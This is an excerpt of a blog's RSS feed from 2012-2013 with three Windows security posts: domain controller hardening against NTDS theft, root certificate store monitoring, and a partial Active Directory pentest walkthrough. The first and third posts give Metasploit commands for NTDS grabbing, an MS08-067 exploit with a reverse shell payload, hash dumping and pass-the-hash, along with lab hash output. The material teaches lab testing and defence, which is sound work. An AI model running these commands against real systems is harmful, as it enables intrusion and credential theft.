		<post-id xmlns="com-wordpress:feed-additions:1">2230</post-id>	</item>
		<item>
		<title>Domain controller hardening: NTDS grab.</title>
		<link>https://www.ldap389.info/en/2013/02/12/domain-controller-hardening-ntds-grab/</link>
					<comments>https://www.ldap389.info/en/2013/02/12/domain-controller-hardening-ntds-grab/#respond</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Tue, 12 Feb 2013 18:37:14 +0000</pubDate>
				<category><![CDATA[AD Database]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[gpo @en]]></category>
		<category><![CDATA[ntds.dit @en]]></category>
		<category><![CDATA[Pentest @en]]></category>
		<category><![CDATA[vss @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=2142</guid>

					<description><![CDATA[Once hackers gain domain administrator privileges and are able to logon to domain controllers they usually try to dump the NTDS database (see chapter Dumping All The Hashes–ntdsgrab.rb). This way they will try to crack every single domain user&#8217;s password, this happened recently when the New York Times was targeted by a cyber-attack. We will [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Once hackers gain domain administrator privileges and are able to logon to domain controllers they usually try to <a href="http://blog.accuvant.com/blog/owning-computers-without-shell-access">dump the NTDS database</a> (see chapter <em>Dumping All The Hashes–ntdsgrab.rb</em>). This way they will try to crack every single domain user&#8217;s password, this happened recently when the <a href="http://www.nytimes.com/2013/01/31/technology/chinese-hackers-infiltrate-new-york-times-computers.html?pagewanted=all&amp;_r=1&amp;">New York Times</a> was targeted by a cyber-attack. We will see in this post how to make this task more difficult to a hacker who has gained domain admin privileges by modifying some security settings on the Domain controllers.<br />
<span id="more-2142"></span><br />
A ruby script (<a href="https://github.com/pentestgeek/metasploitframework/blob/master/modules/auxiliary/admin/smb/ntdsgrab.rb">ntdsgrab.rb</a> made by <a href="http://www.pentestgeek.com/2012/11/16/dumping-domain-password-hashes-using-metasploit-ntds_hashextract-rb/">R3dy</a>) you can use with Backtrack allows you to grab the NTDS database and the SYSTEM registry hive on a domain controller, with this data you will retrieve all the password hashes in the domain and try to crack them. In order to use the script copy it in the <em>/pentest/exploits/framework/modules/auxiliary/admin/smb</em> folder, we call it grab.rb:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/02/backtrack-installmodule.png" rel="lightbox[2142]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2116" alt="backtrack-installmodule" src="https://www.ldap389.info/wp-content/uploads/2013/02/backtrack-installmodule-300x23.png" width="300" height="23" srcset="https://www.ldap389.info/wp-content/uploads/2013/02/backtrack-installmodule-300x23.png 300w, https://www.ldap389.info/wp-content/uploads/2013/02/backtrack-installmodule.png 657w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Just load the module under the Metasploit console and set up the right options:</p>
<pre lang="bash">msf > use auxiliary/admin/smb/grab
msf  auxiliary(grab) > set RHOSTS 192.168.206.134
RHOST => 192.168.206.134
msf  auxiliary(grab) > set SMBUser Administrator
SMBUser => Administrator
msf  auxiliary(grab) > set SMBDomain LDAP389
SMBDomain => LDAP389
msf  auxiliary(grab) > set SMBPass MyPassword
SMBPass => MyPassword
msf  auxiliary(grab) > show options
Module options (auxiliary/admin/smb/grab):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LOGDIR     /tmp/NTDS_Grab   yes       This is a directory on your local attacking system used to store the ntds.dit and SYSTEM hive
   RHOSTS     192.168.206.134  yes       The target address range or CIDR identifier
   RPORT      445              yes       Set the SMB service port
   SMBDomain  LDAP389          no        The Windows domain to use for authentication
   SMBPass    MyPassword    no        The password for the specified username
   SMBSHARE   C$               yes       The name of a writeable share on the server
   SMBUser    Administrator    no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads
   VSCPATH                     no        The path to the target Volume Shadow Copy
   WINPATH    WINDOWS          yes       The name of the Windows directory (examples: WINDOWS, WINNT)
msf  auxiliary(grab) > run</pre>
<p>And launch the module:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/02/runexploitsuccess.png" rel="lightbox[2142]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2118" alt="runexploitsuccess" src="https://www.ldap389.info/wp-content/uploads/2013/02/runexploitsuccess-300x139.png" width="300" height="139" srcset="https://www.ldap389.info/wp-content/uploads/2013/02/runexploitsuccess-300x139.png 300w, https://www.ldap389.info/wp-content/uploads/2013/02/runexploitsuccess.png 665w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The module uses the <em><a href="http://technet.microsoft.com/en-us/library/cc754968(v=ws.10).aspx">vssadmin.exe</a></em> tool in order to create a volume shadow copy of the partition hosting the NTDS database. This tool relies on the VSS service which is started when you <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa384675(v=vs.85).aspx">backup</a> your domain controller.</p>
<p>We will modify the VSS security settings as follows:</p>
<ul>
<li>For the domain controllers you do not backup: You do not need to backup all your Domain Controllers, Microsoft recommends to backup at least <a href="http://technet.microsoft.com/en-us/library/bb727048.aspx">two DCs per domain</a> (One holding FSMO roles, one not). In case of disaster you just reinstall from scratch a new DC using dcpromo and wait for replication or via <a href="http://technet.microsoft.com/en-us/library/cc770654(v=ws.10).aspx">Installation from Media</a> if you want to gain some time. For these DCs you can disable the VSS service, remove the &#8220;start and stop service&#8221; and &#8220;modify security&#8221; ACE for every account (SYSTEM account included), finally enable auditing for this service. We enable security filtering on the GPO, the policy applies only to DCs you do not backup, they belong to the LDAP389-DC-NOBACKUP group:</li>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/02/disableVSSGPO.png" rel="lightbox[2142]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/02/disableVSSGPO-300x101.png" alt="disableVSSGPO" width="300" height="101" class="aligncenter size-medium wp-image-2120" srcset="https://www.ldap389.info/wp-content/uploads/2013/02/disableVSSGPO-300x101.png 300w, https://www.ldap389.info/wp-content/uploads/2013/02/disableVSSGPO-1024x347.png 1024w, https://www.ldap389.info/wp-content/uploads/2013/02/disableVSSGPO.png 1309w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<li>For the DCs you do backup: We leave VSS starting mode to manual, remove the &#8220;start and stop service&#8221; ACE for every account and remove the &#8220;modify security&#8221; ACE for every account except the SYSTEM account, finally enable auditing for this service. The backup will be configured with a scheduled task. We will describe this task later. We enable security filtering on the GPO, the policy applies only to DCs you do backup, they belong to the LDAP389-DC-BACKUP group:</li>
</ul>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/02/enablevss.png" rel="lightbox[2142]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/02/enablevss-300x97.png" alt="enablevss" width="300" height="97" class="aligncenter size-medium wp-image-2119" srcset="https://www.ldap389.info/wp-content/uploads/2013/02/enablevss-300x97.png 300w, https://www.ldap389.info/wp-content/uploads/2013/02/enablevss-1024x334.png 1024w, https://www.ldap389.info/wp-content/uploads/2013/02/enablevss.png 1360w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>When this configuration is applied the <em>ntdsgrab.rb</em> module will fail on every domain controller:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/02/runexploitfailed2.png" rel="lightbox[2142]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/02/runexploitfailed2-300x118.png" alt="runexploitfailed2" width="300" height="118" class="aligncenter size-medium wp-image-2125" srcset="https://www.ldap389.info/wp-content/uploads/2013/02/runexploitfailed2-300x118.png 300w, https://www.ldap389.info/wp-content/uploads/2013/02/runexploitfailed2.png 660w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>You can also track failed attempts to launch the VSSadmin.exe tool (Source: VSS, ID: 7001) by monitoring the application log. Because audit of the VSS service is enabled via GPO you can also see in the security log that the domain admin cannot start the VSS service (Audit failure, ID: 4656). Finally you can get the attacking machine IP by looking at the security events just before the audit failure:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/02/events.png" rel="lightbox[2142]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/02/events-300x185.png" alt="events" width="300" height="185" class="aligncenter size-medium wp-image-2126" srcset="https://www.ldap389.info/wp-content/uploads/2013/02/events-300x185.png 300w, https://www.ldap389.info/wp-content/uploads/2013/02/events-1024x634.png 1024w, https://www.ldap389.info/wp-content/uploads/2013/02/events.png 1381w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>In order to have a successful backup on the DCs members of the LDAP389-DC-BACKUP group, despite the security settings that avoid the VSS service to start, we will setup a scheduled task running under the SYSTEM account and launching the <em>backup.cmd</em> batch. In this batch we will use the <a href="http://technet.microsoft.com/en-us/library/cc754015(v=ws.10).aspx">wbadmin.exe</a> to perform the backup, but before we use the <a href="http://msmvps.com/blogs/erikr/archive/2007/09/26/set-permissions-on-a-specific-service-windows.aspx"><em>sc sdset</em></a> command in order to allow the SYSTEM to start the VSS service. Once backup is done we stop the VSS service and apply back the security settings pushed by GPO on the service. Here is the <em>backup.cmd</em> batch:</p>
<pre lang="bash">sc sdset vss D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWLOCRSDRC;;;BA)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
wbadmin.exe start backup -backupTarget:E: -allCritical -systemState -quiet
net stop vss
sc sdset vss D:(A;;CCDCLCSWLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWLOCRSDRC;;;BA)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)</pre>
<p>On the following screenshot you can see the scheduled task and that backup is successful:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/02/scheduled.png" rel="lightbox[2142]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/02/scheduled-300x165.png" alt="scheduled" width="300" height="165" class="aligncenter size-medium wp-image-2127" srcset="https://www.ldap389.info/wp-content/uploads/2013/02/scheduled-300x165.png 300w, https://www.ldap389.info/wp-content/uploads/2013/02/scheduled-1024x564.png 1024w, https://www.ldap389.info/wp-content/uploads/2013/02/scheduled.png 1034w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Of course, as stated at the beginning of this post the hacker has gained domain admin privileges: He can logon to the DC, gain SYSTEM privileges, change the service security settings using the command line, and use VSSadmin in order to grab the NTDS file. But the above mitigation will make his task more difficult and make him leave more tracks in order you detect his attack more easily (VSS errors in the application log). Well at least he will leave more evidence for your forensics analysis&#8230; </p>
<p>As an additional mitigation technique, consider using a RODC on remote sites if you can: Configure the <a href="http://blogs.technet.com/b/askds/archive/2008/01/18/understanding-read-only-domain-controller-authentication.aspx">password replication policy</a> to store only machine and user accounts passwords in the NTDS database belonging to the remote site. If the <a href="http://technet.microsoft.com/en-us/library/cc835486(v=ws.10).aspx">RODC is compromised</a> you can force a password reset for all the users who had their credentials cached in the NTDS database.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2013/02/12/domain-controller-hardening-ntds-grab/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2142</post-id>	</item>
		<item>
		<title>Powershell: Monitor the trusted root certification authorities store, Event Schannel ID 36885-36887</title>
		<link>https://www.ldap389.info/en/2013/01/06/powershell-monitor-the-trusted-root-certification-authorities-store-event-schannel-id-36885-36887/</link>
					<comments>https://www.ldap389.info/en/2013/01/06/powershell-monitor-the-trusted-root-certification-authorities-store-event-schannel-id-36885-36887/#comments</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Sun, 06 Jan 2013 15:59:18 +0000</pubDate>
				<category><![CDATA[Public Key Infrastructure @en]]></category>
		<category><![CDATA[scripts @en]]></category>
		<category><![CDATA[troubleshooting @en]]></category>
		<category><![CDATA[monitoring @en]]></category>
		<category><![CDATA[nps @en]]></category>
		<category><![CDATA[pki @en]]></category>
		<category><![CDATA[PowerShell @en]]></category>
		<category><![CDATA[wsus @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=2092</guid>

					<description><![CDATA[The root update package KB931125, when applied might break the authentication process on servers using certificate based authentication: This problem was reported for LDAP over SSL authentication on a Domain Controller, IIS authentication on a webserver and IAS authentication on a Radius server (called Network Policy Server under Windows 2008). The symptoms, patch and workarounds [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>The root update package <a href="http://support.microsoft.com/kb/931125">KB931125</a>, when applied might break the authentication process on servers using certificate based authentication: This problem was reported for <a href="http://saltwetbytes.wordpress.com/2012/10/23/kb931125-root-certificate-update-causes-issue-with-ldap-ssl-authentication/">LDAP over SSL authentication</a> on a Domain Controller, IIS authentication on a webserver and IAS authentication on a Radius server (called Network Policy Server under Windows 2008). The symptoms, patch and workarounds of this issue are explained in <a href="http://support.microsoft.com/kb/933430">this KB</a>. The patch is only available under Windows 2003 and the root update package (KB931125) cannot be uninstalled via WSUS once applied.<br />
<span id="more-2092"></span></p>
<p>We had the problem on <a href="http://technet.microsoft.com/en-us/network/bb629414.aspx">Network Policy Server</a>, on which the KB931125 added approximately 350 certificates to the computer&#8217;s trusted root certification authorities store. This server performs, among other things, WiFi authentication using the <a href="http://technet.microsoft.com/en-us/library/cc739638(v=ws.10).aspx">MS-ChapV2</a> protocol. The maximum size of the trusted certificate authorities list that the Schannel security package supports is 12.228 bytes. With 350 certificates we were above the limit: As a result the list of trusted root certificates was truncated and users were unable to authenticate. On the server&#8217;s eventlog you could see ID 36885 and 36887 source Schannel reporting the problem:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36885.jpg" rel="lightbox[2092]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2071" title="schannel-36885" src="https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36885-300x210.jpg" alt="" width="300" height="210" srcset="https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36885-300x210.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36885.jpg 623w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36887.jpg" rel="lightbox[2092]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2072" title="schannel-36887" src="https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36887-300x210.jpg" alt="" width="300" height="210" srcset="https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36887-300x210.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/12/schannel-36887.jpg 627w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>On this kind of server it could be useful to control what is present on the computer&#8217;s trusted root certification authorities store. This PowerShell script compares the content of the trusted root certification authorities store with a reference stored in a CSV file: In order to build the reference CSV file, launch the following commands on a server which will be your reference trusted root certification authorities store:</p>
<pre lang="powershell">$store = New-Object System.Security.Cryptography.X509Certificates.X509Store("Root","LocalMachine")
$store.Open("ReadOnly")
$store.certificates | select thumbprint, Issuer, Subject | export-csv RefCerts.csv</pre>
<p>Once the <em>RefCerts.csv</em> is generated, download the following script and set up a scheduled task on the servers you want to monitor. The script <a href="http://blogs.msdn.com/b/alejacma/archive/2012/04/27/how-to-remove-a-certificate-from-a-certificate-store-programmatically-powershell.aspx">removes  the certificates</a> which are not present in the <em>RefCerts.csv</em> file, using the <a href="http://blogs.technet.com/b/stefan_stranger/archive/2011/02/08/compare-two-different-csv-files-using-powershell.aspx">compare-object cmdlet</a> and by comparing each certificate&#8217;s <em>thumbprint</em>. If a certificate is present in the <em>RefCerts.csv</em> file but not in the trusted root certification authorities store, the information is logged in the <em>log.txt</em> file: You will have to install it manually or use a <a href="http://technet.microsoft.com/en-us/library/cc738131(v=ws.10).aspx">GPO</a>.</p>
<p>Just download the script by clicking the link below:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/12/compare-certificates.txt"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-83" title="tool" src="https://www.ldap389.info/wp-content/uploads/2010/03/tool1.png" alt="" width="48" height="48" /></a></p>
<p><em><strong><u>Update:</u> A fix was released by MS 12th January 2013 to correct this issue <a href="http://support.microsoft.com/kb/2801679">KB2801679</a>.</strong></em></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2013/01/06/powershell-monitor-the-trusted-root-certification-authorities-store-event-schannel-id-36885-36887/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2092</post-id>	</item>
		<item>
		<title>Pentesting an Active Directory infrastructure</title>
		<link>https://www.ldap389.info/en/2012/12/10/pentesting-active-directory-hacking/</link>
					<comments>https://www.ldap389.info/en/2012/12/10/pentesting-active-directory-hacking/#comments</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Mon, 10 Dec 2012 21:20:37 +0000</pubDate>
				<category><![CDATA[security]]></category>
		<category><![CDATA[tools @en]]></category>
		<category><![CDATA[login @en]]></category>
		<category><![CDATA[lsass @en]]></category>
		<category><![CDATA[Pentest @en]]></category>
		<category><![CDATA[PowerShell @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=2044</guid>

					<description><![CDATA[We will see in this post some steps of a pentest against an ADDS domain. This pentest focuses only on the Microsoft System and does not take into account Antivirus, Firewall, IDS and IPS protections. The parts we describe in detail are scanning, exploitation and maintaining access. The pentest is performed with BackTrack 5 R3, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>We will see in this post some steps of a <a href="http://www.oissg.org/wiki/index.php?title=PENETRATION_TESTING_METHODOLOGY">pentest</a> against an ADDS domain. This pentest focuses only on the Microsoft System and does not take into account Antivirus, Firewall, IDS and IPS protections. The parts we describe in detail are scanning, exploitation and maintaining access. The pentest is performed with BackTrack 5 R3, you can download it <a href="http://www.backtrack-linux.org/downloads/">here</a>. The tools we use are <a href="http://nmap.org/">Nmap</a>, <a href="http://www.tenable.com/products/nessus">Nessus</a>, <a href="http://www.metasploit.com/download/">Metasploit</a> (the hacker&#8217;s framework, exploits are written in <a href="http://en.wikipedia.org/wiki/Ruby_(programming_language)">ruby</a>), <a href="http://www.openwall.com/john/">John the Ripper</a> and <a href="http://technet.microsoft.com/en-us/library/bb978526.aspx">Powershell</a>. The pentest&#8217;s goal is to retrieve domain administrator credentials and maintain the access on the ADDS domain discretly.<br />
<span id="more-2044"></span></p>
<p><strong><span style="text-decoration: underline;">1) SCANNING:</span></strong></p>
<p>The purpose of this step is to identify what computers are running in our test ADDS domain and which role and vulnerabilities are present on each computer. All the computers are in the same subnet. We launch the following <a href="http://linux.die.net/man/1/nmap">Nmap command</a> in order to launch the network scan (IP range is 192.168.206.132 to 255):</p>
<pre lang="bash">nmap -sS -p- -PN -O 192.168.206.132-255</pre>
<p>The first discovered machine returns the following results:</p>
<blockquote><p>Nmap scan report for ldap389-dc1.ldap389.local<br />
(192.168.206.134)<br />
Host is up (0.0023s latency).<br />
Not shown: 65506 closed ports<br />
PORT STATE SERVICE<br />
53/tcp open domain<br />
80/tcp open http<br />
88/tcp open kerberos-sec<br />
111/tcp open rpcbind<br />
135/tcp open msrpc<br />
139/tcp open netbios-ssn<br />
389/tcp open ldap<br />
443/tcp open https<br />
445/tcp open microsoft-ds<br />
464/tcp open kpasswd5<br />
593/tcp open http-rpc-epmap<br />
636/tcp open ldapssl<br />
670/tcp open vacdsm-sws<br />
3268/tcp open globalcatLDAP<br />
3269/tcp open globalcatLDAPssl<br />
[&#8230;]<br />
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).</p></blockquote>
<p>Because of the open ports and listening services we can easily assume that this machine is a <a href="http://technet.microsoft.com/en-us/library/dd772723(v=ws.10).aspx">domain controller</a>. The OS cannot be retrieved under Nmap 6.01: It is a Windows 2012 server (<em>Update: fixed in <a href="http://seclists.org/nmap-announce/2012/4">Nmap 6.25</a></em>). </p>
<p>The tool also discovers a Windows 2008 SP1 server:</p>
<blockquote><p>Nmap scan report for ldap389-srv2008.ldap389.local<br />
(192.168.206.138)<br />
Host is up (0.00074s latency).<br />
Not shown: 65524 closed ports<br />
PORT STATE SERVICE<br />
135/tcp open msrpc<br />
139/tcp open netbios-ssn<br />
445/tcp open microsoft-ds<br />
3389/tcp open ms-wbt-server<br />
Device type: general purpose<br />
Running: Microsoft Windows 7|2008<br />
OS CPE: cpe:/o:microsoft:windows_7<br />
cpe:/o:microsoft:windows_server_2008::sp1<br />
OS details: Microsoft Windows 7 or Windows Server 2008 SP1</p></blockquote>
<p>On this server the <a href="http://en.wikipedia.org/wiki/Server_Message_Block">SMB 445</a> and <a href="http://en.wikipedia.org/wiki/Remote_Desktop_Protocol">RDP 3389</a> services are listening, which is useful information for the exploitation phase.</p>
<p>Finally we have a Windows 2003 SP0 which is not supported since <a href="https://security.ias.edu/windows-2003-sever-sp0-end-life">April 10, 2007</a>&#8230;</p>
<blockquote><p>Nmap scan report for ldap389-srv2003.ldap389.local<br />
(192.168.206.136)<br />
Host is up (0.00100s latency).<br />
Not shown: 65527 closed ports<br />
PORT STATE SERVICE<br />
80/tcp open http<br />
135/tcp open msrpc<br />
139/tcp open netbios-ssn<br />
443/tcp open https<br />
445/tcp open microsoft-ds<br />
1025/tcp open NFS-or-IIS<br />
1026/tcp open LSA-or-nterm<br />
3306/tcp open mysql<br />
Device type: general purpose<br />
Running: Microsoft Windows XP|2003<br />
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional<br />
cpe:/o:microsoft:windows_server_2003<br />
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003</p></blockquote>
<p>In addition to not being up to date, this webserver is running <a href="http://www.dvwa.co.uk/">DVWA</a>: Perfect to practice your pentesting skills :-). This server is a good match for scanning its vulnerabilities.</p>
<p>We launch <a href="http://www.tenable.com/products/nessus">Nessus</a> in <em>safe scan</em> mode against the <em>ldap389-srv2003</em> server (192.168.206.136):</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/11/nessus.png" rel="lightbox[2044]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1942" title="nessus" src="https://www.ldap389.info/wp-content/uploads/2012/11/nessus-300x155.png" alt="" width="300" height="155" srcset="https://www.ldap389.info/wp-content/uploads/2012/11/nessus-300x155.png 300w, https://www.ldap389.info/wp-content/uploads/2012/11/nessus.png 1016w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>We will exploit the <a href="http://technet.microsoft.com/en-us/security/bulletin/ms08-067">MS08-67</a> vulnerabilty in order to take control of the server</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/11/nessus2.png" rel="lightbox[2044]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1943" title="nessus2" src="https://www.ldap389.info/wp-content/uploads/2012/11/nessus2-300x159.png" alt="" width="300" height="159" srcset="https://www.ldap389.info/wp-content/uploads/2012/11/nessus2-300x159.png 300w, https://www.ldap389.info/wp-content/uploads/2012/11/nessus2.png 1023w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>This vulnerability could also be discovered with Nmap, using the following command:</p>
<pre lang="bash">nmap --script smb-check-vulns.nse -p445 192.168.206.136</pre>
<p>Here is the result:</p>
<blockquote><p>Starting Nmap 6.01 ( http://nmap.org ) at 2012-11-02 14:46 EDT<br />
Nmap scan report for ldap389-srv2003.ldap389.local<br />
(192.168.206.136)<br />
Host is up (0.00083s latency).<br />
PORT STATE SERVICE<br />
445/tcp open microsoft-ds<br />
Host script  results:<br />
| smb-check-vulns:<br />
| MS08-067: VULNERABLE<br />
| Conficker: Likely CLEAN<br />
| regsvc DoS: CHECK DISABLED (add &#8216;&#8211;script-args=unsafe=1&#8217; to run)<br />
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add &#8216;&#8211;script-args=unsafe=1&#8217; to run)<br />
| MS06-025: CHECK DISABLED (remove &#8216;safe=1&#8217; argument to run)<br />
|_ MS07-029: CHECK DISABLED (remove &#8216;safe=1&#8217; argument to run)<br />
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds</p></blockquote>
<p>Note about the vulnerability scan (Nessus or Nmap): Always lauch a <em>safe scan</em> otherwise you might crash the targetted OS. </p>
<p>We can now start the exploitation phase, because we have accurate information on the machines running on the domain, here is diagram of the intrusion scenario:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/11/pent-test-visio.jpg" rel="lightbox[2044]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2012/11/pent-test-visio-300x238.jpg" alt="" title="pent-test-visio" width="300" height="238" class="aligncenter size-medium wp-image-2001" srcset="https://www.ldap389.info/wp-content/uploads/2012/11/pent-test-visio-300x238.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/11/pent-test-visio.jpg 795w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The password for the local admin account is the same on the servers <em>ldap389-srv2003</em> and <em>ldap389-srv2003</em>, we will use the <a href="http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash"><em>pass the hash</em></a> technique in order to take control of the Windows 2008<br />
server.</p>
<p><strong><span style="text-decoration: underline;">2) EXPLOITATION:</span></strong></p>
<p>We will use Metasploit in order to exploit the MS08-67 vulnerability on the <em>ldap389-srv2003</em> server. To have a look at the exploit&#8217;s ruby code and comments just launch the following command on your Backtrack box:</p>
<pre lang="bash">cd /pentest/exploits/framework/modules/exploits/windows/smb
gedit ms08_067_netapi.rb</pre>
<p>In order to setup the options before launching the exploit, run the following commands under the <a href="http://www.offensive-security.com/metasploit-unleashed/Msfconsole">Msfconsole</a>:  </p>
<pre lang="bash">use windows/smb/ms08_067_netapi
set RHOST 192.168.206.136
set LHOST 192.168.206.135
set PAYLOAD windows/meterpreter/reverse_tcp
show options</pre>
<p>Launch the exploit with the <em>exploit</em> command:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/11/metasploit4.png" rel="lightbox[2044]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1949" title="metasploit4" src="https://www.ldap389.info/wp-content/uploads/2012/11/metasploit4-300x228.png" alt="" width="300" height="228" srcset="https://www.ldap389.info/wp-content/uploads/2012/11/metasploit4-300x228.png 300w, https://www.ldap389.info/wp-content/uploads/2012/11/metasploit4.png 665w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>We loaded the <a href="http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics">Meterpreter</a> payload in order to have the necessary tools to begin the exploitation on this server.</p>
<p>The <em>getuid</em> command tells us that the Meterpreter server is running as SYSTEM on the host :-). We now launch the <em><a href="http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics#hashdump">hashdump</a></em> command, in order to retrieve the password hash of the local admin account. Those local accounts hashes are stored in the local SAM database: </p>
<pre lang="bash">meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter> hashdump
Administrator:500:'aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d':::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089d0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:68813b44fbd2ae8606c79c1afb24d5e6:::</pre>
<p>We now have the password hash for the local admin account of <em>ldap389-srv2003</em>, we will now take control of <em>ldap389-srv2008</em> who has the same password thanks to the <a href="http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash">pass the hash</a> exploit.</p>
<p>Before that we will gather password hashes of some <em>ldap389.local</em> domain accounts stored on the <em>ldap389-srv2003</em> machine via the <a href="http://blogs.technet.com/b/instan/archive/2011/12/06/cached-logons-and-cachedlogonscount.aspx">cached logons</a> process. We will try to crack those passwords offline later&#8230; We gather those hashes with the <a href="http://www.room362.com/blog/2011/2/14/cachedump-for-meterpreter-in-action.html">cachedump</a> command. Those password hashes are located in a protected portion of the registry under HKLM\Security\Cache\NL$x, where x is a number representing each cached credential.</p>
<pre lang="bash">meterpreter> run post/windows/gather/cachedump</pre>
<blockquote><p>[*] Executing module against LDAP389-SRV2003<br />
[*] Cached Credentials Setting: 10 &#8211; (Max is 50 and 0 disables, and 10 is default)<br />
[*] Obtaining boot key&#8230;<br />
[*] Obtaining Lsa key&#8230;<br />
[*] XP compatible client<br />
[*] Obtaining LK$KM&#8230;<br />
[*] Dumping cached credentials&#8230;<br />
[*] John the Ripper format:<br />
<font color="red">srvadm:9ea326b1b8161510713bb3ff48d3ff44::</font><br />
<font color="red">user0002:fd44c840886e0a17fa1810a69407f6f9::</font><br />
[*] <font color="red">Hash are in  MSCACHE format. (mscash)</font></p></blockquote>
<p>Let&#8217;s take control of the <em>ldap389-srv2008</em> machine with the <a href="http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash">pass the hash</a> exploit, thanks to the hash gathered with hashdump. We discovered in part <strong>1)scan</strong> that the SMB 445 port is open on this server, so we can use the pass the hash exploit:</p>
<pre lang="bash">Use /windows/smb/psexec
set RHOST 192.168.206.138
set LHOST 192.168.206.135
set SMBUser Administrator
set SMBDomain LDAP389-SRV2008
'set SMBPass aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d'
exploit</pre>
<p>Now we have access to <em>ldap389-srv2008</em>, we launch again a <a href="http://www.room362.com/blog/2011/2/14/cachedump-for-meterpreter-in-action.html">cachedump</a> in order to gather more password hashes of <em>ldap389.local</em> domain accounts:</p>
<blockquote><p>[*] Executing module against LDAP389-2008<br />
[-] Cache setting not found&#8230;<br />
